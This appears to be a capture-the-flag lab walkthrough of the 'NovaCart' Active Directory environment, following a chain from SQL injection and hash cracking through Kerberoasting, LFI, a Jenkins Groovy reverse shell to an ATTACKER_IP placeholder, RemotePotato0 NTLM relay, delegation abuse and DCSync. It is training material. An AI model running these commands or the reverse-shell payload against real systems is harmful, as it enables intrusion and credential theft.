> For the complete documentation index, see [llms.txt](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/hack-smarter-labs/novacart-active-directory.md).
# NovaCart - Active Directory
Hard Rated - Hack Smarter Labs
## Objective
* NovaCart is an e-commerce company that operates a webshop for PC accessories. However, the entire platform is still under active development and expansion. The IT team is currently working on a Linux-based version of the webshop as well as the development of a mobile app for NovaCart. The team is focused on adding features quickly, and has not prioritized security. We have been tasked with conducting a penetration test to thoroughly assess the environment, identify vulnerabilities, and evaluate the overall security of the system.
* The client has provided you with VPN access to their internal network, but no credentials.
## Initial Scan
### RustScan
{% code expandable="true" %}
```
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: NovaCart | Premium PC Components & Gaming Systems
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-18 20:30:46Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: novacart.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: novacart.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3306/tcp open mysql syn-ack ttl 126 MySQL (unauthorized)
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
|_ssl-date: 2026-05-18T20:31:57+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.novacart.local
| Issuer: commonName=DC.novacart.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-24T22:48:49
| Not valid after: 2026-06-25T22:48:49
| MD5: a249 9621 0853 5fcf e1ef 3afa 9c7a cc4d
| SHA-1: 41ed a1cd 8946 344c 3b16 f4e9 873a 5975 6658 b8b1
| SHA-256: 4b64 4c7b f9f7 bb04 e3f4 0326 7d8e b15c 3e52 3a3a ffe6 5c84 ceaf c121 2826 525d
| rdp-ntlm-info:
| Target_Name: NOVACART
| NetBIOS_Domain_Name: NOVACART
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: novacart.local
| DNS_Computer_Name: DC.novacart.local
| DNS_Tree_Name: novacart.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-05-18T20:31:50+00:00
5000/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ NTLM
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
| http-ntlm-info:
| Target_Name: NOVACART
| NetBIOS_Domain_Name: NOVACART
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: novacart.local
| DNS_Computer_Name: DC.novacart.local
| DNS_Tree_Name: novacart.local
|_ Product_Version: 10.0.17763
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http syn-ack ttl 126 Jetty 12.0.25
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-server-header: Jetty(12.0.25)
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
33060/tcp open mysqlx syn-ack ttl 126 MySQL X protocol listener
47001/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10|2012|2022|2016 (93%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (93%), Microsoft Windows 10 1909 (90%), Microsoft Windows 10 1909 - 2004 (90%), Windows Server 2019 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2022 (89%), Microsoft Windows 10 20H2 (87%), Microsoft Windows 10 20H2 - 21H1 (87%), Microsoft Windows Server 2012 Data Center (87%), Microsoft Windows Server 2016 (87%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=5/18%OT=53%CT=%CU=34452%PV=Y%DS=3%DC=T%G=N%TM=6A0B773F%P=x86_64-pc-linux-gnu)
SEQ(SP=101%GCD=1%ISR=109%TI=I%CI=I%TS=U)
SEQ(SP=105%GCD=1%ISR=10C%TI=I%CI=I%TS=U)
OPS(O1=M510NW8NNS%O2=M510NW8NNS%O3=M510NW8%O4=M510NW8NNS%O5=M510NW8NNS%O6=M510NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%T=80%W=FFFF%O=M510NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=N)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-18T20:31:52
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 9486/tcp): CLEAN (Couldn't connect)
| Check 2 (port 44253/tcp): CLEAN (Couldn't connect)
| Check 3 (port 51288/udp): CLEAN (Timeout)
| Check 4 (port 6414/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
```
{% endcode %}
## Initial Enumeration
### HTTP Enumeration (80, 8080)
* We are starting without creds and thus we will need to enumerate other ways to gain entry. I noticed that there is a web server running on port 80 and 8080:
* Port 80 shows that there is a NovaCart webserver running:
* Port 8080 shows that a Jenkins instance is running:
* It appears that we can cause a Runtime Error in the application when supplying certain parameters to the search box. In this case, I provided 'OR 1=1;'. The text box appears to be vulnerable:
### SQLMAP
* It appears that might have a SQL vulnerability. If we can exploit this, we could possibly gain access to the underlying database that is present. I will run the potentially vulnerable URL against SQLMAP:
* SQLMAP is able to find available databases from the vulnerable URL. There is a NovaCart database that appears interesting:
* We can then use SQLMAP to list our the tables of the NovaCart database:
{% code expandable="true" %}
```
sqlmap -u 'http://novacart.local/search.aspx?q=test' -D NovaCart
```
{% endcode %}
* Now we can attempt to dump the users tables and see usernames and hashes:
{% code expandable="true" %}
```
sqlmap -u 'http://novacart.local/search.aspx?q=test' -D NovaCart -T users --dump
```
{% endcode %}
* We can take these usernames and hashes and put them into a file to attempt to crack them. This could give us a way further into the network:
* We need to identify the hash type that is being used. We can take these hashes and use hash identifier to get a list of possible encryption methods:
* Using the Hashcat Wiki we can look at possible hash modes to run that match our current hash file. We will try the following and will see that we are successful:
{% code expandable="true" %}
```
hashcat -a0 -m1420 hashes.txt /usr/share/wordlists/rockyou.txt
```
{% endcode %}
* Testing these users against the DC, we can see that we can login:
### SMB Enumeration (445)
* We can see that there is a Shares share that we have read access to as one of our users:
* We can enumerate further and see the following directories on the SMB share:
* Within these directories, there are some interesting sub directories and files. Mainly txt files pertaining to previous IT tickets as well as references to the Jenkins instance that is running:
* Among some of the files, we can see that there are some interesting ones that show a user j.dillon who was previously part of the IT team that we might be able to act as if this users Autologon has not been removed:
* User cliff.b appears to work as a Senior DevOps. This role could potentially have high permissions that, if misconfigured, could work to our advantage:
* There is also a web config file that shows that WebApp\_Operators are allowed to do the following. Interesting, we will table this for now:
* Additionally, there are Backup files that have file paths for the Jenkins instance. These might be useful later:
## Kerberoasting Attempt
* Attempting a Kerberoast attack, we can see that a user has an SPN set. We can take this hash and attempt to crack it:
* Running this hash against rockyou.txt did not produce a password. We will pivot for the time being and come back if we need to.
## Manual LDAP Enumeration
* Ok, at this point we do have valid AD creds, so we can enumerate LDAP and ACLs to find an attack path. I will start by checking the users that we have thus far. We can see that d.barowski is a member of the 'IT Support' group:
* Using bloodyAD, we can see that d.barowski has write permissions on a lot of users:
* We can look at these users to see what groups they are members of to see who might be a valuable target to go after. j.bronski and l.thompson have membership to groups that I am highly interested in:
* We can see that user j.barowski has the following ACEs over the above interesting users:
* Given we have write permissions over the user j.bronski, we could attempt to write an SPN to the user and then perform a targetedKerberoast attack against that user. This due to the GenericWrite permissions we have over the user:
* Using Hashcat, we are able to crack the hash and get the password for j.bronski:
## Gaining Access as User 'j.bronski'
* We will recall from the scan that port 5000 is open. Perhaps we could login as this user since they are a member of the WebApp\_Operators group:
* Upon gaining access, we can see that we are presented with the CI/CD pipeline Jenkins instance. It looks like svc\_jenkins is running this service (important service account to note down). Additionally, there is a IT Management Portal that is available:
* Clicking on this, we are presented with the following. The URL appears to be pulling a file 'it\_team.aspx':
* Modifying the URL throws this response. There could be an LFI vulnerability that we could possibly gain access to sensitive files if done correctly:
* Recall previously that the Backup files we grabbed from the 'Shares' share showed the directory paths for the jenkins.ini file. We can attempt to conduct an LFI attack and change directories to try and list out the contents of that file. We are able to find a password for jbronski and it appears to be to the Jenkins instance running on port 8080:
{% hint style="info" %}
Conducting LFI was possible due to the WebApp not properly handling the file path passed in the file parameter in the URL
{% endhint %}
* Supplying the username and password allows us to gain entry to the Jenkins instance:
* We can now observe a previous build done by Jan Bronski that is running as SYSTEM. If we can build and run either a command or shell, we might be able to gain access as SYSTEM or possibly svc\_jenkins that we observed earlier:
{% hint style="info" %}
Configuring and running a shell build was not working, but we are able to gain access to the ScriptConsole
{% endhint %}
* We can access the script console, which allows us to run a Groovy script. We can use this to try and gain a reverse shell:
## Access as 'svc\_jenkins'
* Conducting OSINT, I find the following command that we can run for a Windows host to gain a reverse shell:
{% code expandable="true" %}
```
String host="ATTACKER_IP";
int port=ATTACKER_PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}};
p.destroy();
s.close();
```
{% endcode %}
* We can start to query the host for information. One thing that I remembered from the txt files is that j.dillon still has an AutoLogon configuration set on the DC. This means that this user might still have an active session on the DC that we could possibly gain access to. I will enumerate this by looking at the following registry key:
{% code expandable="true" %}
```
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
```
{% endcode %}
{% hint style="info" %}
The HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon registry key will show information regarding logged on users
{% endhint %}
## RemotePotato0 Exploit
* Given that there is a local session that we have confirmed is running, we can attempt to use a potato attack, specifically the RemotePotato0. With this exploit, we are trying to trigger NTLM authentication on behalf of the user (j.dillon) who's session is running on the server that we have a session on as svc\_jenkins.
* For this attack to work, we need the following:
* A compromised domain account whose privileges enable it to connect over RDP to a remote server potentially visited by privileged users. In fact, this condition is met almost everywhere since terminal servers visited by domain admins from time to time are present nearly on any network. <- (We have this)
* A host on the intranet controlled by the attacker that has network connectivity with the attacked server on port 135/TCP <- (We have this)
* An unprotected endpoint with domain authentication where you can relay Net-NTLMv2 authentication that comes to your HTTP server. An ideal variant would be LDAP(S) services or the standard Microsoft AD CS web application <- (We have this)
* The ability to execute the RemotePotato0 exploit on the attacked server bypassing antivirus protection. (We will need to determine if this is stopped by Defender or not)
* Per this article ,This potato attack takes advantage of DCOM requests. Our attack will consist mirroring traffic arriving on port 135/TCP back to the victim host where a fake OXID resolver has been started; The COM object contains a malicious object that point back to our Kali host and will relay NTLM information of the logged in session that is present (j.dillon).
* I will start by downloading the RemotePotato0 binary:
{% code expandable="true" %}
```
curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
```
{% endcode %}
* Next, I will transfer the binary to the host. Running the binary, we can see that this is not picked up by Defender:
* Per the above article, we can use socat to start a listener on our Kali host. The below will open up a bidirectional listener for connections on port 135:
{% code expandable="true" %}
```
sudo socat -v TCP-Listen:135,fork,reuseaddr TCP::9998
```
{% endcode %}
* Next, we will run the potato exploit on the victim host. We will use module 2 to capture the hash and resolve to our localhost listening on port 9998 as the place to send the hash:
* The connection is passed to our Kali host and then we are able to gain access to the user j.dillon hash:
### Cracking the Hash
* We can now take this NTLMv2 hash and attempt to crack it ,which we are:
## Enumeration as User 'j.dillon'
* User j.dillon has Write permissions over the IT Helpdesk group. With the WriteOwner permissions, I can take control of this group:
* After some manual LDAP enumeration, we can see that IT Helpdesk has the following ForceChangePassword permissions over the l.thompson account, that is a member of the Remote Management Users group and can gain remote access:
* Since I have these permissions, I can now add GenericAll rights to the group for j.dillon, add j.dillon to the group, and then I can ForceChangePassword for l.thompson:
* Upon attempting to gain access, I can see that the l.thompson user account is disabled. We need to pivot. Looking back through our notes, I recall that user d.barowski has UAC permissions over l.thompson. This is what we needed:
* We will leverage this to remove that UAC. The account is no longer disabled:
## Enumeration as User 'l.thompson'
* We will continue to enumerate as this user. I began by running the following command to search for any potential files that contained the words credentials or passwords, but this did not turn anything up that was of use:
{% code expandable="true" %}
```
Get-ChildItem -Path C:\Users\l.thompson -Recurse -Force -ErrorAction SilentlyContinue | Where-Object { $_.Name -like "*credential*" -or $_.Name -like "*password*" }
```
{% endcode %}
* I then shifted and continued to enumerate. I was able to find that the ConsoleHistory file contained some interesting entries. It looks like this user had deleted some emails and Groups\_credentials.xml file:
* Interesting, looking in the users $Recycle.Bin we can see that there is an email file. We are interested in the this as this can provide a lot of information. We will cat out both files:
* The Directory OPS group is interesting. We can see from enumerating LDAP that cliff.b is a member of this group:
* I then decided to go back and further enumerate the users $Recycle.Bin and found a bigger file present. This is an xml file that was sitting in the recycle bin. Concatenating the file shows that there is a password present for what appears to be the cliff.b user:
* We can confirm with netexec that this is the password:
* We can see that this user has WriteOwner and WriteDACL permissions over a group and users:
* After some enumeration, cliff.b is a member of the Directory Ops group. This group has FullControl over the 'Dev Ops' OU:
* Since cliff.b is a member of the Remote Management Users group, we can gain access as this user remotely and continue enumerating.
## Enumeration as User 'cliff.b'
* There is an interesting email on the users desktop regarding the Senior DevOps permissions and talks about scripts that can carry out a workaround for this. There is a lot to work with here:
* Running the following command, I can see that there is a directory where these are kept:
{% code expandable="true" %}
```
Get-ChildItem -Path C:\Users\cliff.b -Recurse -Force -ErrorAction SilentlyContinue | Where-Object { $_.Name -like "*.ps1*" }
```
{% endcode %}
* Taking a look at the scripts, the most important one to us is the Configure-OUDelegation.ps1 as this will run a scheduled task that will grant Senior Dev Ops rights to members of the Directory Ops group, which we know that cliff.b is a member of. This will allow us to elevate our permissions as the user cliff.b:
{% code overflow="wrap" expandable="true" %}
```
# Triggers a SYSTEM-level scheduled task that modifies permissions on the Senior Dev Ops OU, granting rights to members of the Directory Ops group.
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("Configure-OUDelegation")
$task.Run($null)
```
{% endcode %}
* We will first run the check\_ou\_permissions.ps1:
* And then run the Configure-OUDelegation.ps1. Once we have run this, we will see that cliff.b now has the following permissions in the Senior Dev Ops OU, whereas prior cliff.b did not have these permissions:
## More LDAP Enumeration
* Ok, we will now continue to enumerate LDAP. Since we have Write permissions on the Senior Dev Ops OU, we can see if there are any members of this group that are of interest. I am interested in gaining RDP access as the user m.mignola. This looks like a lucrative target. My though is to move the user to the Directory Ops group and then use the GenericAll permissions that cliff.b already has over that group to then ForceChangePassword for that user to subsequently gain RDP access:
* I will now move this user to the OU that cliff.b has GenericAll permissions and change this users password:
## RDP Access as User 'm.mignola'
* Once we gain RDP access, we can enumerate and find a very interesting file:
* We also find an SSH private key file on the users Desktop:
* Within the recycle bin, there is an SSH shortcut that could possibly be used with the private key. I will restore this and test out this hypothesis:
* Upon restoration, we are able to connect via SSH locally and continue the session as user 'svc\_unix':
* I then looked at the history of the commands that were run and found the following. I concatenated out the MySQL configuration file to see the user and password that was set as this was discussed in the above note. Additionally, we can connect to the internal MySQL instance that is running:
* Doing a bit of enumeration, we can see that our user uses the same password that we just found. We can list out and see if this user can run anything as root, which we coe to find the user can run apache2 as root:
* Utilizing a site like to look for running apache2 with sudo permissions, we can see that we can read data from local files. We can search for interesting files and read them now. We can read the /etc/passwd and /etc/shadow. We can also list out the history from the root directory. Being that we can read from any file using sudo with apache2, I decided to go this route. I am able to find what appears to be a password that is present:
* Okay, what do we know as of now. From the the above command in the root history, we can see that the user changed to the root user and supplied a password, amongst other actions. We know that user 'andrew\.collins' controls access to the root account. This could possibly be this users password and they are potentially reusing it. We will attempt to access the user 'andrew\.collins' with this password to the DC. We are able to gain access:
* We can see that andrew\.collins is a member of the Support Admins group. This might be very lucrative for us and allow use to escalate our privileges:
## Gaining Access as User 'm.brown'
* After some further enumeration, I found that that user m.brown has constrained delegation with protocol transition permissions over the DC, which will allow us to take advantage of the S4U2self and S4U2proxy. This will allow us to impersonate users on the DC and possibly escalate our privileges barring the users are not in a Protected Group:
* Further enumeration on the m.brown user shows that andrew\.collilns has the following permissions over this user:
## Attack Path
* The attack path at this point is clear. Use ForceChangePassword rights to change the password of the user 'm.brown'. Conduct Constrained Delegation attack against the DC and impersonate a high privileged user to then ultimately dump the NTDS.dit and PtH as the Domain Admin account. First we change the password for m.brown:
* Next, we will perform Constrained Delegation. We already have these rights assigned, so we can simply request a ServiceTicket (ST) to then impersonate a higher privileged user. In this case, we can use the administrator and DC$ accounts. This fails, however with the same error message. I have a sneaking suspicion that these users are in a Protected Group or cannot be delegated to:
* Let's see if we can confirm the above by searching LDAP. We are looking for any users that have membership in a Protected Group or that have the userAccountControl set to 'userAccountControl:1.2.840.113556.1.4.803:=1048576' signifying that they cannot be delegated to. Funny enough, we find them (HAHAHA). Let me show you my shocked face:
* We will not be defeated after making it this far. Let's see if we can enumerate anything else that will allow us to continue our attack path. Searching through the users, I can see one that I have not had much interaction with. User 'm.ibabao is a member of the Exchange Operations Group and Protected Users group. If we can remove this user from the Protected Users group, we could see what the Exchange Operations Group can offer us:
* Looking at the Protected Users group, we can see that members of the Identity\_Admins group have self-membership WriteProperty over this group:
* We see the following users are part of this Identity\_Admins group. Since we previously established rights over the Senior Dev Ops OU as user cliff.b, we can move one or both of them to the Dev Ops group and then change the password to control that user:
* Changing the users OU and password:
* Now, we can attempt to remove the user 'm.ibabao' from Protected Users group:
* We will enumerate the Exchange Operations Group to see if this group has any rights over the DC. We can see that this group has WriteDACL on the DC:
## Finalized Attack Path
* Ok, since m.ibabao is a member of the Exchange Operations Group, and this group has WriteDACL on the DC, we can impersonate this user as m.brown by requesting a ST, gain access as m.ibabao, and grant ourselves DCSync privs per this article . First, we will start by requesting the ST:
* Next, we will export the ticket and then add the following DCSync permissions to m.ibabao:
* Finally, I will perform a DCSync and dump the NTDS.dit:
* We can then Pass the Hash (PtH) for the administrator account:
## Resources
### GenericWrite - TargetedKerberoast
*
### RemotePotato0
*
### WriteDACL - Leading to DCSync Permission
*
